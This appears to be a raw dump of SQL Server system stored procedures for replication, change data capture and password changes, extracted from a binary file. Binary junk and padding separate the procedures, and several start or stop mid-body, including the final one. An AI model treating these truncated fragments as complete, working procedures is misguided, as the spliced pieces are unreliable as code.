          and (@publication is null or ihp.name = @publication)
    end
    else 
    begin
        insert into #MSenumpublications
        select db_name(),
                name,
                1,
                immediate_sync,
                allow_pull,
                allow_anonymous, 
                enabled_for_internet,
                repl_freq,
                immediate_sync_ready, 
                allow_sync_tran,
                independent_agent,
                is_member('db_owner'),
                0,                                -- thirdparty
                N'Microsoft SQL Server',
                publishingservername(),
                N'MSSQLSERVER',
                description,
                convert(sysname, null),
                allow_queued_tran,
                allow_dts,
                convert(int,null),                -- thirdparty_options
                queue_type,
                0                                -- dynamic_filters
        from dbo.syspublications as pubs
        where (@empty_tranpub = 1 or exists
                (
                    select    *
                    from    dbo.sysextendedarticlesview art
                    where    pubs.pubid = art.pubid
                ))
          and    status <> 0
          and    (@publication is null or pubs.name = @publication)
    end
END
0A D8>hz y0鷩 8create procedure sys.sp_MSscript_delete_pubwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare @cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@dest_table sysname
			,@dest_owner nvarchar(260)
			,@rc           int
			,@qualname nvarchar(517)
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid from syspublications where name = @publication
	select @artid = artid, @dest_table = dest_table, @dest_owner = dest_owner
	from sysarticles where name = @article and pubid = @pubid
	select @dest_owner = case when (@dest_owner IS NULL) then N''
				else quotename(@dest_owner) + N'.' end
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QPubWins)
	begin
		'+N'--
		'+N'-- Publisher wins resolution
		'+N'-- '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- declare fetch variables for cursor
	--
	exec @rc = sp_scriptpubwinsrefreshcursorvars @objid
	--
	-- continue scripting
	--
	select @cmd = N'

		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- Perform refresh(delete+insert) generations next
		'+N'-- --------------------------------------------------------------------
		'+N'--
		
		'+N'--
		'+N'-- Generate delete+insert for values of all keys
		'+N'--
		if (@cftcase in (30,31))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate delete compensating command for OLD values of all unique keys
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = N'_old'
				,@mode = 4
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- script the refresh commands for OLD values of all unique keys
	--
	exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 4, 0
	if (@rc != 0 or @@error != 0)
		return 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		'+N'--
		'+N'-- --------------------------------------------------------------------
		'+N'-- all done for conflict resolution for Publisher Wins policy
		'+N'-- --------------------------------------------------------------------
		'+N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0		
end
0h 8
--
-- Name:
--		sp_ORAChangeTableSpace
--
-- Description:
--		Set article log table space
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@publication_id	== id of publication
--		@article_id		== id of article
--		@tablespace		== name of article log tablespace
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
--

CREATE PROCEDURE sys.sp_ORAChangeTableSpace
(
	@publisher		sysname,
	@publication_id	int,
	@article_id		int,
	@tablespace		nvarchar(386)
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE	@table_id	int
	
    -- Get the article information.
    SELECT	@table_id	= iha.table_id
    FROM	IHarticles iha
    WHERE	iha.publication_id	= @publication_id
      AND	iha.article_id		= @article_id

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Send request to Oracle to move article log to specified table space
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.AlterTableLog(')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @table_id) + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tablespace, '''') + N')}')
	
	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21736, 16, -1)
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

`<MK̖O0% 8
create procedure sys.sp_MSenumthirdpartypublicationvendornames(
@within_db bit = 0
)

as
    set nocount on
    if @within_db = 0
    begin
        declare @dbname         sysname
        declare @retcode        int
        declare @distbit        int
        declare @proc            nvarchar(300)

        --init
        SELECT @distbit = 16

        -- Get publication list
        create table #pubdbs (publisher_db sysname collate database_default not null)

        insert into #pubdbs select name from master.dbo.sysdatabases where 
            category & @distbit <> 0 and 
            has_dbaccess(name) = 1

        create table #MSenumpublications 
                (vendor_name sysname collate database_default not null)

        declare hCForEachDb CURSOR LOCAL FAST_FORWARD FOR select publisher_db from  #pubdbs
        FOR READ ONLY
        open hCForEachDb
        fetch hCForEachDb into @dbname
        /* Loop for each database */
        while (@@fetch_status >= 0) 
        begin
            select @proc = quotename(@dbname) + 
                '.sys.sp_MSenumthirdpartypublicationvendornames'
            insert into #MSenumpublications exec @retcode = @proc 1
            if @@ERROR <> 0 or @retcode <> 0
                return (1)
            fetch hCForEachDb into @dbname
        end /* while FETCH_SUCCESS */
    end
    else
    begin
        select distinct vendor_name from MSpublications where thirdparty_flag = 1 and
            vendor_name is not null and vendor_name <> ''
    end

    select distinct vendor_name from #MSenumpublications  order by vendor_name

    return (0)
0%@ 8create procedure sys.sp_replincrementlsn (
	@xact_seqno binary(10) OUTPUT,
	@publisher sysname = NULL
)
as
	declare @retcode int,
		@cmd nvarchar(4000)

	-- For SQL Server publisher, @publisher is NULL
	if @publisher IS NULL
	begin
    		exec @retcode = sys.sp_MSrepl_incrementlsn @xact_seqno OUTPUT 
    		if @@ERROR <> 0 or @retcode <> 0
		begin
        		return (1)
		end
		return (0)
	end

	-- For heterogeneous publisher, make equivalent call in distribution database context
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher	= @publisher,
							@rpcheader	= @cmd OUTPUT,
							@skipSecurityCheck	= 1
	
	IF @retcode <> 0
		RETURN (1)

	-- Add sp
	set @cmd = @cmd + N'sys.sp_IHreplincrementlsn'
	
	EXEC @retcode = @cmd	@xact_seqno OUTPUT,
				@publisher		

    	if @@ERROR <> 0 or @retcode <> 0
	begin
        	return (1)
	end
	return (0)
0j4 8create function sys.fn_replgetpublicationthreshold 
(
    @publication_id int,
    @thresholdindex int 	
)
returns sql_variant 
as
begin
    declare @value sql_variant
    select @value=value 
    from dbo.MSpublicationthresholds 
    where publication_id=@publication_id
        and isenabled=1
        and metric_id = @thresholdindex
    return @value
end
02 8create procedure sys.sp_helppeerresponses
(
	@request_id int
)
as
begin
	declare @retcode int

	-- Security Check
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end
	
	-- Check to see if database is activated for publication
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
	begin
		RAISERROR (14013, 16, -1)
		return 1
	end

	-- return results
	select * 
		from MSpeer_response
		where request_id = @request_id

	return 0
end
0F%0 D8K}h*	#5+	0a7 8
create function [sys].[fn_cdc_get_column_list]
(
	@capture_instance sysname
)
returns @column_list table (name sysname)
with execute as 'dbo'
begin
	insert into @column_list
	select s.name 
	from  [cdc].[captured_columns] e inner join [cdc].[change_tables] c
		on e.object_id = c.object_id
	inner join sys.columns s
		on s.object_id = c.source_object_id and
		   s.column_id  = e.column_id
	where c.capture_instance = @capture_instance
	return
end	             
) 
AS
begin
    DECLARE @publisher_id int  -- Server id of the Publisher with respect to the Distributor
    declare @publication_id int
    declare @retcode int

    SELECT @publisher_id = NULL 
    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(@publisher) = UPPER(srvname)  

    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END

    select @publication_id = publication_id from 
        dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        (publication = @publication or @publication = N'%')
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_type = 1, -- merge agent
        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

	-- These are the main differences between @show_security = 0 and 1:
	--
	--	@show_security = 0
	--		This is the backcompat case and is really meant for 8.0
	--		publishers. Setting it to this value returns the following 
	--		column values:
	--
	--			job_id, offload_enabled, offload_server
	--
	--		Also note that the job_id returned here is from MSmerge_agents
	--		and NOT from sysjobs... so it is possible that the job has been
	--		deleted via komodo procs but we still return the old job_id
	--
	--	@show_security = 1
	--		This is the Yukon case returns the same columns as in @show_security = 0
	--		but also adds the following columns to the resultset:
	--		
	--			subscriber_security_mode, subscriber_login, publisher_security_mode,
	--			publisher_login, credential_identity, merge_agent_name
	--		
	--		Also note that the job_id returned here is from sysjobs and not
	--		from MSmerge_agents. So if the job is deleted via the komodo
	--		procedures then we will return NULL for the job_id
    IF @show_security = 1
    BEGIN
        SELECT sj.job_id, msma.offload_enabled, msma.offload_server,
                msma.subscriber_security_mode,
                msma.subscriber_login,
                sc.credential_identity,
                msma.publisher_security_mode,
                msma.publisher_login,
                msma.name
         FROM dbo.MSmerge_agents msma
         		LEFT JOIN msdb..sysjobs sj
          			ON msma.job_id = sj.job_id
                LEFT JOIN msdb..sysjobsteps sjs
                    ON msma.job_step_uid = sjs.step_uid
                LEFT JOIN msdb..sysproxies sp
                    ON sjs.proxy_id = sp.proxy_id
                LEFT JOIN sys.credentials sc
					ON sp.credential_id = sc.credential_id
         WHERE msma.publisher_id = @publisher_id 
           AND msma.publisher_db = @publisher_db
           AND (@publication = N'%' OR msma.publication = @publication)
    END
    ELSE
    BEGIN
        SELECT msma.job_id, msma.offload_enabled, msma.offload_server
          FROM dbo.MSmerge_agents msma
          LEFT JOIN msdb..sysjobs sj
          		ON msma.job_id = sj.job_id
         WHERE msma.publisher_id = @publisher_id 
           AND msma.publisher_db = @publisher_db
           AND (@publication = N'%' OR msma.publication = @publication)
    END
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
/L`p.
<l/PB0 8
--
-- Name: sp_MSupdatesharedagentproperties
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSupdatesharedagentproperties (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @property    sysname,
    @strvalue    nvarchar(256) = NULL,
    @intvalue    int = NULL,
    @subscription_type int     
    )
AS
    DECLARE @retcode     int,
            @password     nvarchar(524)

    -- Note publisher/publisher_db/publication uniquely identifies 
    -- a subscription in MSreplication_subscriptions 
    CREATE TABLE #subscriptions
    (
        publication sysname collate database_default
    )

    -- Compute the list of affected subscriptions
    INSERT INTO #subscriptions SELECT publication FROM
    MSreplication_subscriptions WHERE UPPER(publisher) = UPPER(@publisher)
    AND publisher_db = @publisher_db AND publication <> @publication
    AND independent_agent = 0 AND subscription_type = @subscription_type

    IF (SELECT COUNT(*) FROM #subscriptions) > 0
    BEGIN 

        IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'distributor'
        BEGIN
            UPDATE MSsubscription_properties SET distributor = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'distributor_security_mode'
        BEGIN
            -- Security Mode 1
            IF @intvalue = 1
            BEGIN
                SELECT @password = newid()

                -- Encrypt the password before storing
                EXEC @retcode = sys.sp_MSreplencrypt @password OUTPUT
                IF @@ERROR <> 0 OR  @retcode <> 0
                    RETURN 1

                UPDATE MSsubscription_properties 
                    SET distributor_security_mode = 1,
                        distributor_login = N'',
                        distributor_password = @password
                    WHERE UPPER(publisher) = UPPER(@publisher)  
                        AND publisher_db = @publisher_db
                        AND publication in (SELECT publication FROM #subscriptions)  
            END
            -- Security Mode 0
            ELSE
            BEGIN    
                UPDATE MSsubscription_properties 
                    SET distributor_security_mode = 0
                 WHERE UPPER(publisher) = UPPER(@publisher)  
                   AND publisher_db = @publisher_db
                   AND publication in (SELECT publication FROM #subscriptions)  
            END       
            
             
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'distributor_login'
        BEGIN
            UPDATE MSsubscription_properties SET distributor_login = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'distributor_password'
        BEGIN
            UPDATE MSsubscription_properties SET distributor_password = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'distributor_password'
        BEGIN
            UPDATE MSsubscription_properties SET distributor_password = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'ftp_address'
        BEGIN
            UPDATE MSsubscription_properties SET ftp_address = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'ftp_port'
        BEGIN
            UPDATE MSsubscription_properties SET ftp_port = @intvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'ftp_login'
        BEGIN
            UPDATE MSsubscription_properties SET ftp_login = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'ftp_password'
        BEGIN
            UPDATE MSsubscription_properties SET ftp_password = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'alt_snapshot_folder'
        BEGIN
            UPDATE MSsubscription_properties SET alt_snapshot_folder = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'working_directory'
        BEGIN
            UPDATE MSsubscription_properties SET working_directory = @strvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
        ELSE IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'use_ftp'
        BEGIN
            UPDATE MSsubscription_properties SET use_ftp = @intvalue 
             WHERE UPPER(publisher) = UPPER(@publisher)  
               AND publisher_db = @publisher_db
               AND publication in (SELECT publication FROM #subscriptions)   
        END
    END

    DROP TABLE #subscriptions

    IF @@ERROR <> 0
        RETURN 1
    ELSE
        RETURN 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:	<E	"0RZ 8create procedure sys.sp_password
    @old sysname = NULL,        -- the old (current) password
    @new sysname,               -- the new password
    @loginame sysname = NULL    -- user to change password on
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)

    -- RESOLVE LOGIN NAME
    if @loginame is null
        select @loginame = suser_sname()

    if @new is null
        select @new = ''

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_password')
		return (1)
	end

	-- CHECK IT'S A SQL LOGIN --
    if not exists (select * from master.dbo.syslogins where
                   loginname = @loginame and isntname = 0)
	begin
		raiserror(15007,-1,-1,@loginame)
		return (1)
	end

	if @old is null
		set @exec_stmt = 'alter login ' + quotename(@loginame) +
			' with password = ' + quotename(@new, '''')
	else
		set @exec_stmt = 'alter login ' + quotename(@loginame) +
			' with password = ' + quotename(@new, '''') + ' old_password = ' + quotename(@old, '''')

	exec (@exec_stmt)	

	if @@error <> 0
		return (1)

    -- RETURN SUCCESS --
	return  (0)	-- sp_password
00] 8create procedure sys.sp_MSstopdistribution_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    set nocount on
    
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstopdistribution_agent', 'distribution')
        return 1
    end
    declare @retcode int
            ,@stop tinyint
    set @stop = 1    
    exec @retcode = sys.sp_MSdistributionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @stop
    return @retcode
end
istributor_security_mode')
        return 1
    end
    
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_security_mode',
       @intvalue = @distributor_security_mode,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure
                                
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_login',
       @strvalue = @distributor_login,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_password',
       @strvalue = @distributor_password,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    RETURN 0

FixupFailure:
    RETURN 1
 
0O_ 8create procedure sys.sp_replmonitorrefreshjob 
(
    @iterations tinyint = 0 -- 0 - run continuously, non 0 - run for specified iterations
    ,@profile bit = 0 -- for internal use - DO NOT DOCUMENT (remove this before release)
)
as
begin
    set nocount on
    declare @retcode int
                ,@distribution_db sysname
                ,@loopcounter tinyint
                ,@prechecksum int
                ,@postchecksum int
                ,@lastcomputetime int
                ,@delaytime int 
                ,@strdelaytime sysname
                ,@datebuf datetime
                ,@refreshpolicy tinyint

    --
    -- initialize
    --
    select @distribution_db = db_name()
                ,@loopcounter = 0
                ,@prechecksum = 0
                ,@postchecksum = 0
                ,@lastcomputetime = 0
                ,@refreshpolicy = 1
    --
    -- security check
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (@distribution_db) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorrefreshjob', 'distribution')
        return 1
    end
    --
    -- validate @iterations
    --
    if (@iterations < 0)
    begin
        raiserror(20587, 16, -1, '@iterations', 'sp_replmonitorrefreshjob')
        return (1)
    end
    --
    -- We are going through the main loop to do refresh
    --
    while (1=1)
    begin
        --
        -- get the checksum value before refresh
        --
        select @prechecksum = checksum(time_stamp)
            from dbo.MSreplication_monitordata
        
        --
        -- refresh the cache
        --
        exec @retcode = sys.sp_replmonitorrefreshdata @refreshpolicy = @refreshpolicy, @profile = @profile
        if @retcode != 0 or @@error != 0
            return 1
        --
        -- check if we need to break out of loop
        --
        if (@iterations > 0)
        begin
            select @loopcounter = @loopcounter + 1 
            if (@profile = 1)
                raiserror('Completed %d iteration(s)', 10, 1, @loopcounter)
            if (@iterations = @loopcounter)
                break
        end
        --
        -- we need to wait for next cycle
        -- get the checksum value after refresh
        --
        select @postchecksum = checksum(time_stamp)
                    ,@lastcomputetime = isnull(computetime, 0)
            from dbo.MSreplication_monitordata
       
        --
        -- compute how much to wait in seconds
        --
        select @delaytime = case 
            -- no changes were there in cache
            when (@prechecksum = @postchecksum) then case when (30 > @lastcomputetime) then 30 else @lastcomputetime end
            -- changes were there in cache
            else case when (4 > @lastcomputetime) then 4 else @lastcomputetime end 
            end
        --
        -- convert the delaytime to usable format
        --
        select @datebuf = dateadd(ss, @delaytime, 0x0)
        select @strdelaytime = cast(datepart(hh, @datebuf) as nvarchar(4)) + N':'
                    + cast(datepart(mi, @datebuf) as nvarchar(4)) + N':'
                    + cast(datepart(ss, @datebuf) as nvarchar(6)) 
        --
        -- wait for given delay
        --
        if (@profile = 1)
            raiserror('Waitfor delay %s', 10, 1, @strdelaytime)
        waitfor delay @strdelaytime
    end -- while (1=1)
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;gIgg`<Z	t'v.0u 8
create procedure sys.sp_MSfixupftpinfo (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @ftp_address sysname,         -- default null
    @ftp_port int,                -- default null
    @ftp_login sysname,           -- default null
    @ftp_password nvarchar(524),  -- default null
    @subscription_type int,
    @force_null bit 
    )
AS
    DECLARE @local_ftp_address sysname
    DECLARE @local_ftp_port sysname 
    DECLARE @local_ftp_login sysname
    DECLARE @local_ftp_password nvarchar(524)
    DECLARE @retcode INT

    IF @ftp_address IS NULL AND @ftp_port IS NULL AND
       @ftp_login IS NULL AND @ftp_password IS NULL AND
       @force_null = 0
    BEGIN
        -- Parameters are unspecifed, try to inherit values from
        -- shared susbcriptions
        SELECT TOP 1 @local_ftp_address = ftp_address,
                     @local_ftp_port = ftp_port,
                     @local_ftp_login = ftp_login,
                     @local_ftp_password = ftp_password
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
        IF @@ROWCOUNT > 0              
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            ftp_address = @local_ftp_address,
            ftp_port = @local_ftp_port,
            ftp_login = @local_ftp_login,
            ftp_password = @local_ftp_password
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'ftp_address',
           @strvalue = @ftp_address,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure
                                    
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'ftp_port',
           @intvalue = @ftp_port,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure

        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'ftp_login',
           @strvalue = @ftp_login,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'ftp_password',
           @strvalue = @ftp_password,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
09 8

--
-- Name: sp_MSrepl_clean_replication_bit
--
-- Descriptions: clean the replication bit from a database
--
-- Parameters: as defined in create statement
--
-- Security: 
--		Procedure is NOT PUBLIC so there are no security checks.
--
--
--
CREATE procedure sys.sp_MSrepl_clean_replication_bit(@dbname sysname,@type	nvarchar(5)) 
as 
    DECLARE @flush_proc nvarchar(300),
            @done_proc  nvarchar(300)

	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('tran', 'both')
	BEGIN
		-- Clear tran bit
		IF DatabasePropertyEx(@dbname, 'IsPublished') <> 1
		begin
	            EXEC %%DatabaseEx(Name = @dbname).SetPublished(Value = 1)
        	end

		/*
		** Toggle the category bit in master.dbo.sysdatabases
		*/
        IF CONVERT(sysname,DATABASEPROPERTYEX(@dbname,'Updateability'))  = N'READ_WRITE'
           AND HAS_DBACCESS(@dbname) = 1
        BEGIN
            SELECT @flush_proc = QUOTENAME(@dbname) + N'.sys.sp_replflush'
            SELECT @done_proc  = QUOTENAME(@dbname) + N'.sys.sp_repldone'

	     --when the DB is not enabled for CDC, call sp_repldone and sp_replflush
            IF not exists(select * from sys.databases where db_id(@dbname) = database_id and is_cdc_enabled = 1)
            BEGIN
	            EXEC @flush_proc
       	     EXEC @done_proc NULL, NULL, 0, 0, 1
            END

            --when the DB is still enabled for CDC, sp_replflush should be called at least
            EXEC @flush_proc
        END
	EXEC %%DatabaseEx(Name = @dbname).SetPublished(Value = 0)		
	END

	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
